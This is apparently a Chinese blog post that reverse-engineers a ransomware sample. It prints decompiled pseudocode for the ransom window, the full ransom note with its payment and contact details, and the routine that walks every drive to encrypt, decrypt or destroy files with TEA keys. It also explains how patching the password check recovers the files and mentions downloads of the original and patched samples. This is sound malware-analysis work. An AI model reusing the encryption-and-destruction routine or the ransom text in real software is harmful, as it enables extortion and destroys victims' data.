      hwnd_inputpswd_edit_40776A = (int)CreateWindowExA_edit_401E73(null_40444B, 5, 20, 285, 23, hWnd, (HMENU)0x2BC);
      SendMessageA((HWND)hwnd_inputpswd_edit_40776A, 0x30u, ::wParam, 1);
      if ( Language_flag4_40752D == 1 )
        v11 = CreateWindowExA_button_401EE0(&exit_40442D, hWnd, 240, 50, 50, 25, (HMENU)0x1F5);// Выход 退出
      else
        v11 = CreateWindowExA_button_401EE0(aExit, hWnd, 240, 50, 50, 25, (HMENU)0x1F5);

      hwnd_exit_407772 = (int)v11;
      SendMessageA(v11, 0x30u, ::wParam, 1);
      if ( Message_flag2_40752B == 1 )
        // YOUR SYSTEM IS LOCKED AND ALL YOUR IMPORTANT DATA HAS BEEN ENCRYPTED.\r\nDON\'T WORRY YOUR FILES ARE SAFE.\r\nTO RETURN ALL THE NORMALLY YOU MUST BUY THE CERBER DECRYPTOR PROGRAM.\r\nPAYMENTS ARE ACCEPTED ONLY THROUGH THE BITCOIN NETWORK.\r\nYOU CAN GET THEM VIA ATM MACHINE OR ONLINE\r\nhttps://coinatmradar.com/ (find a ATM)\r\nhttps://www.localbitcoins.com/ (buy instantly online any country)\r\n1. Visit qtox.github.io \r\n2. Download and install qTOX on your PC. \r\n3. Open it, click "New Profile" and create profile. \r\n4. Click "Add friends" button and search our contact - DA639EF141F3E3C35EA62FF284200C29FA2E7E597EF150FDD526F9891CED372CBB9AB7B8BEC8\r\nFor more information : hack3dlikeapro@proton.me (24/7) Second Support Via Email\r\nSubject : SYSTEM-LOCKED-ID: MortalKombat=ID12DJ901S
        MessageBoxA(0, lpText, 0, 0x10u);

      break;

    case WM_PAINT:
      BeginPaint(hWnd, &Paint);
      EndPaint(hWnd, &Paint);
      return 0;

    case WM_CLOSE:
      ExitProcess(0);

    case WM_DESTROY:
      ExitProcess(0);
  }

  return DefWindowProcA(hWnd, Msg, wParam, lParam);
}

right_401216

int right_401216()
{
  if ( Language_flag4_40752D == 1 )
    // Пароль введён верно. Нажите OK для начала расшифровки файлов. После нажатия не закрывайте программу до появления сообщения об удачном завершении расшифровки файлов.
    // 密码是正确的。单击“确定”开始解密文件。单击后,不要关闭程序,直到收到成功解密文件的消息。
    MessageBoxA(0, &Text, &Caption, 0x40u);
  else
    MessageBoxA(0, aEnteredPasswor, WindowName, 0x40u);

  return enc_or_dec_40124F(0);
}

enc_or_dec_40124F

// -1-->随机加密,破坏
// 0-->解密
int __usercall enc_or_dec_40124F@<eax>(int type@<eax>)
{
  unsigned __int64 v1; // rax
  DWORD LogicalDrives; // eax
  int v3; // ecx
  int result; // eax
  int v6; // [esp-8h] [ebp-10h]
  DWORD v7; // [esp-4h] [ebp-Ch]

  if ( type == -1 )
  {
    v1 = __rdtsc();
    *(_DWORD *)xorKey_406DB9 = v1;              // 设置随机key
    *(_DWORD *)&xorKey_406DB9[4] = v1;
    *(_DWORD *)&xorKey_406DB9[8] = v1;
    *(_DWORD *)&xorKey_406DB9[12] = v1;
    *(_DWORD *)tea_xorkey_406595 = v1;
    *(_DWORD *)&tea_xorkey_406595[4] = v1;
    *(_DWORD *)&tea_xorkey_406595[8] = v1;
    *(_DWORD *)&tea_xorkey_406595[12] = v1;
  }

  lstrcpyA(pszSpec, String2);
  lstrcatA(pszSpec, dir_this_404032);
  lstrcatA(pszSpec, lock_Suffix_407521);
  if ( type == -1 )
    modeFlag_0enc_1dec_2destroy_406550 = 2;
  else
    modeFlag_0enc_1dec_2destroy_406550 = 1;

  SetErrorMode(1u);
  LogicalDrives = GetLogicalDrives();
  v3 = 25;
  do
  {
    if ( (LogicalDrives & (1 << v3)) != 0 )
    {
      findpath_404450[0] = v3 + 'A';
      strcpy(&findpath_404450[1], ":\\*.*");
      v7 = LogicalDrives;
      v6 = v3;
      walks_4013A8();
      v3 = v6;
      LogicalDrives = v7;
    }
  }
  while ( v3-- >= 1 );

  result = type;
  if ( type )
  {
    if ( type == -1 )
    {
      if ( Language_flag4_40752D == 1 )
        // Вы исчерпали лимит попыток - Ваши данные безвозвратно испорчены.
        // 您已用尽尝试限制-您的数据已永久损坏。
        return MessageBoxA(0, &unk_4041AB, &Caption, 0x40u);
      else
        // You have reached a limit of attempts - your data is irrevocably 
        return MessageBoxA(0, aYouHaveReached, WindowName, 0x40u);
    }
  }

  else if ( Language_flag4_40752D == 1 )
  {
    // Файлы успешно расшифрованы!
    // 文件已成功解码!
    return MessageBoxA(0, &byte_404077, &Caption, 0x40u);
  }
  else
  {
    // 疑似bug,偏移错误,应该是00404093
    // Files have been decrypted successfully!
    return MessageBoxA(0, &byte_404077, WindowName, 0x40u);
  }

  return result;
}

总结

样本采用tea加密,密钥可得,并内置解密流程,提示输入的密钥与加密密钥无关,通过patch密钥验证处便可直接解密。

但要注意密钥尝试次数存在限制(此样本为99次),若尝试次数已过则会随机生成密钥再次进行加密,这种情况则无法解密。

下载链接

下载链接

FW-APGKSDTPX4HOAUJJMBVDNXPOHZ.PDF.exe_为原始样本

mylock.exe_ 为patch后,加密完成输入任意即可解密,

posted @ 2023-02-24 23:28  DirWangK  阅读(337)  评论(0编辑  收藏  举报